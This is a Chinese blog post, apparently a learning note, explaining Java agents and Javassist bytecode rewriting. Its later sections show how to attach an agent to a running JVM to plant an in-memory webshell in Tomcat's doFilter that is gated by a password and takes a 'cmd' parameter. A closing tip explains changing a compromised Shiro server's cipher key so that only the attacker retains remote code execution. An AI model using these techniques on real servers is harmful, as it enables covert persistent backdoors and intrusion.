你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

java agent内存马学习

2021/11/12 14:31:29

文章目录

  • 1. 什么是java agent
  • 补充:一些重要的类
    • ClassFileTransformer
    • VirtualMachine
    • CtMethod
  • 2. 利用premain函数实现java agent
    • 2.1 执行逻辑
    • 2.2 利用javaagent修改加载到jvm前被拦截的类
  • 3. 利用agentmain实现javaagent
    • 3.1 执行逻辑
    • 3.2 参考代码
      • 1. 实现连接指定jvm进程的代码:
      • 2. 实现agentmain
  • 4. 利用agentmain实现内存马
    • 4.1 修改spring boot中的Filter实现内存马
    • 4.2 运行逻辑
  • 5. 局限性
  • 6. 其他思路
  • 参考文章

1. 什么是java agent

本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。

还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。
对应进程接着会调用agentmain函数,进而操作Instrumentation对象Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改器中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写


补充:一些重要的类

ClassFileTransformer

在这里插入图片描述
Instrumentation对象实现对class的修改操作是依赖于ClassFileTransformer接口中的transform函数。

ClassFileTransformer对象会被当作参数传给Instrumentation.addTransformer函数。此时Instrumentation.addTransformer函数其实执行的是其中ClassFileTransformer的transform函数。

VirtualMachine

public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }
}

CtMethod

同理,可以理解成加强版的Method对象。

获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)。

这个类提供了一些方法,使我们可以便捷的修改方法体:

public final class CtMethod extends CtBehavior {
    // 主要的内容都在父类 CtBehavior 中
}

// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
    // 设置方法体
    public void setBody(String src);

    // 插入在方法体最前面
    public void insertBefore(String src);

    // 插入在方法体最后面
    public void insertAfter(String src);

    // 在方法体的某一行插入内容
    public int insertAt(int lineNum, String src);

}

2. 利用premain函数实现java agent

Javaagent是java命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:

  1. 这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
  2. Premain-Class 指定的那个类必须实现 premain() 方法。

拦截到的class文件会被转化为字节码,然后传给premain函数,premain函数中可以调用Instrumentation类中的函数对刚刚传送进来的字节码进行操作。等到操作结束会将字节码给jvm加载。

premain函数格式如下:

public static void premain(String agentArgs, Instrumentation inst)

2.1 执行逻辑

如果a.jar是bcd.class的javaagent,那么执行java -javaagent:a.jar bcd命令后发生的事情如下:

  1. a.jar包会拦截程序执行过程中所有的类
  2. 所有即将被加载的类会按顺序变成字节码,然后将字节码传送给a.jar包中指定类的premain()函数当作参数。
  3. premain函数我们可以自定义,根据我们写的代码可以对传入的类进行更改操作。
  4. 操作完后这些类会被jvm加载。这是其中一种javaagent的实现方式,必须在java命令执行时加上-javaagent参数。

2.2 利用javaagent修改加载到jvm前被拦截的类

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

/**
 * @author: rickiyang
 * @date: 2019/8/12
 * @description:
 */
public class PreMainTraceAgent {

    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("agentArgs : " + agentArgs);
        //下面这段代码会触发MyClassTransformer类中的transform函数
        inst.addTransformer(new MyClassTransformer(), true);
    }

    public class MyClassTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined,final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
        // 操作Date类
        if ("java/util/Date".equals(className)) {
            try {
                // 从ClassPool获得CtClass对象
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("java.util.Date");
                CtMethod convertToAbbr = clazz.getDeclaredMethod("convertToAbbr");
                //这里对 java.util.Date.convertToAbbr() 方法进行了改写,在 return之前增加了一个 打印操作
                String methodBody = "{sb.append(Character.toUpperCase(name.charAt(0)));" +
                        "sb.append(name.charAt(1)).append(name.charAt(2));" +
                        "System.out.println(\"test test test\");" +
                        "return sb;}";
                convertToAbbr.setBody(methodBody);

                // 返回字节码,并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
    }
}

3. 利用agentmain实现javaagent

3.1 执行逻辑

  1. 确定要attach到哪个jvm进程中
  2. 使用id函数确定jvm进程的pid
  3. 使用attach(pid)函数链接这个jvm进程
  4. 使用loadAgent将我们的恶意agent.jar包添加进jvm进程中
  5. jvm进程会生成一个instrumentation对象并传到agent.jar包中指定类的agentmain函数中当作参数。
  6. agentmain函数执行。

3.2 参考代码

VirtualMachine.list()方法会去寻找当前系统中所有运行着的JVM进程,你可以打印displayName()看到当前系统都有哪些JVM进程在运行。因为main函数执行起来的时候进程名为当前类名,所以通过这种方式可以去找到当前的进程id。

1. 实现连接指定jvm进程的代码:

可以理解成连接器,用来连接指定的jvm进程:

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class TestAgentMain {

    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        //获取当前系统中所有 运行中的 虚拟机
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) {
            //如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机,获取该虚拟机的 pid
            //然后加载 agent.jar 发送给该虚拟机
            System.out.println(vmd.displayName());
            if (vmd.displayName().endsWith("com.rickiyang.learn.job.TestAgentMain")) {
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //将我们的jar文件添加到目标jvm进程中
                virtualMachine.loadAgent("/Users/yangyue/Documents/java-agent.jar");
                //从jvm进程中分离
                virtualMachine.detach();
            }
        }
    }

}

2. 实现agentmain

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

/**
 * @author rickiyang
 * @date 2019-08-16
 * @Desc
 */
public class AgentMainTest {

    public static void agentmain(String agentArgs, Instrumentation instrumentation) {
        instrumentation.addTransformer(new DefineTransformer(), true);
    }
    
    static class DefineTransformer implements ClassFileTransformer {

        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("premain load Class:" + className);
            return classfileBuffer;
        }
    }
}

4. 利用agentmain实现内存马

4.1 修改spring boot中的Filter实现内存马

具体是通过修改ApplicationFilterChain类中的doFilter方法实现,下面是agent.jar代码,依旧使用上面的连接器进行连接:

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {      
            if (aClass.getName().equals(TransformerDemo.editClassName)) { 
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
    public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
        public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
        public static final String editMethod = "doFilter";
        public static String readSource(String name) {
                    String result = "";
                    // result = name文件的内容
                    return result;
                }

        @Override
        public byte[] transform(...) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            //判断类是否已经被加载
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethod);

            //读取start.txt中的恶意代码
            String source = this.readSource("start.txt");
            //将代码插入到dofilter函数的开头
            method.insertBefore(source);
            byte[] bytes = ctc.toBytes();
            //断开连接
            ctc.detach();
            //将更改好的ApplicationFilterChain的字节码返回并加载到jvm中使用
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

}

//start.txt内容
{
    javax.servlet.http.HttpServletRequest request = $1;
 javax.servlet.http.HttpServletResponse response = $2;
 request.setCharacterEncoding("UTF-8");
    String result = "";
    String password = request.getParameter("password");
    if (password != null) {
        // change the password here
        if (password.equals("xxxxxx")) { 
            String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                // 执行命令,获取回显
         }
            response.getWriter().write(result);
            return;
        }
 }
}

4.2 运行逻辑

在这里插入图片描述

5. 局限性

1.premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

2.类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses()方法,此方法有以下限制:

新类和老类的父类必须相同;
新类和老类实现的接口数也要相同,并且是相同的接口;
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致;
新类和老类新增或删除的方法必须是private static/final修饰的;
可以修改方法体。

6. 其他思路

利用shiro反序列化漏洞拿到shiro机器后,利用setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));更改shiro的key,使得这个shiro机器只有你能rce其他人不知道key就不能。

参考文章

Java Agent 从入门到内存马
java agent使用指南